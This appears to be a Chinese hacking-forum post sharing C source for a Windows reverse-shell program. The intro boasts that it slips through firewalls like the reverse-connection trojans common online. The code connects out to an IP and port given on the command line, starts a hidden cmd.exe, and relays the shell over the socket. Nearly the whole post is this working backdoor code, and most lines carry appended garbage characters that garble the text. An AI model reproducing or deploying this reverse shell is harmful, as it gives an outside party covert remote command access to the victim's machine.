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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 bNpIC/#0K  
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/* ============================== Q>a7Ps@~  
Rebound port in Windows NT RR"W O  
By wind,2006/7 ])j|<W/  
===============================*/ K#f`_SCW  
#include u$=ogp =0  
#include w*xUuwi  
jvc?hUcLKT  
#pragma comment(lib,"wsock32.lib") I<(.i!-x  
V*7Z,nA  
void OutputShell(); rjAkpAT  
SOCKET sClient; kbp( a+5  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ={E!8"  
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void main(int argc,char **argv) p@7i=hyt`p  
{ ;.Oh88|k  
WSADATA stWsaData; Xtu`5p_Qv  
int nRet; tGO[A#9a  
SOCKADDR_IN stSaiClient,stSaiServer; ^A "lkV7  
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if(argc != 3) -wRyMY_ D  
{ Jt>[]g$  
printf("Useage:\n\rRebound DestIP DestPort\n"); P`3s\8[Q  
return; `\F%l?aY  
} Cs[7% j  
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WSAStartup(MAKEWORD(2,2),&stWsaData); i B!hEbz  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); <V:<x  
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stSaiClient.sin_family = AF_INET; qM1)3.)[:  
stSaiClient.sin_port = htons(0); V)1:LLRW  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); yg+IkQDf4U  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Rw/JPC"  
{ y LgKS8b  
printf("Bind Socket Failed!\n"); 2}Z4a\YX  
return; ',H$zA?i  
} 42J';\)oP  
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stSaiServer.sin_family = AF_INET; !V]MLA`  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); L;--d`[  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); v :+8U[x  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .qIy7_^  
{ 6_%]\37_Z  
printf("Connect Error!"); 2l)9Lz=;L  
return; Z`oaaO  
} Od!F: <  
OutputShell(); eN]>l  
} )zW%\s*'  
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void OutputShell() [<Os~bfOv  
{ ia^%Wg7  
char szBuff[1024]; Q$fRi[/L  
SECURITY_ATTRIBUTES stSecurityAttributes; *TM;trfz  
OSVERSIONINFO stOsversionInfo; ksu}+i,a  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; '6o`^u>  
STARTUPINFO stStartupInfo; hEv=T'*,K)  
char *szShell; CP]S-o}yd  
PROCESS_INFORMATION stProcessInformation; k'@7ZH  
unsigned long lBytesRead; z;y^t4 ^9  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); aVppOxA  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 97(Xu=tX  
stSecurityAttributes.lpSecurityDescriptor = 0; S$jV|xK B  
stSecurityAttributes.bInheritHandle = TRUE; BSfm?ku"!  
tM^;?HL]  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <Qcex3  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )+n,5W  
JQ"`9RNb  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Xq,UV  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BKC7kDK3H  
stStartupInfo.wShowWindow = SW_HIDE; <?LfOSdMs^  
stStartupInfo.hStdInput = hReadPipe; 4fw1_pv_D  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; @e! Zc3  
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GetVersionEx(&stOsversionInfo); +}7Ea:K   
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switch(stOsversionInfo.dwPlatformId) j\`EUC  
{ [lNqT1%]  
case 1: PTbA1.B  
szShell = "command.com"; Pt6hGSo.  
break; EjR_-8@FK  
default: CxbSj,  
szShell = "cmd.exe"; *GbVMW[A>  
break; RgB6:f,  
} 3Q'[Ee2-3  
}W:*aU  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); \7Gg2;TA6o  
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send(sClient,szMsg,77,0); eg"=H50  
while(1) aho'|%y)  
{ bA@ /B'  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); H96BqNoO  
if(lBytesRead) V~(EVF{h  
{ Gn bfy4Z  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); < /;Q8;0  
send(sClient,szBuff,lBytesRead,0); V$/u  
} Em e'Gk  
else Sl3KpZ  
{ Gb(C#,xbK  
lBytesRead=recv(sClient,szBuff,1024,0); nG"tO'J6  
if(lBytesRead<=0) break; @+'c+  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k}-yOP{  
} :/C ?FHs9  
} yZYK wKG  
Ps U9R#HL1  
return; R K"&l!o  
}
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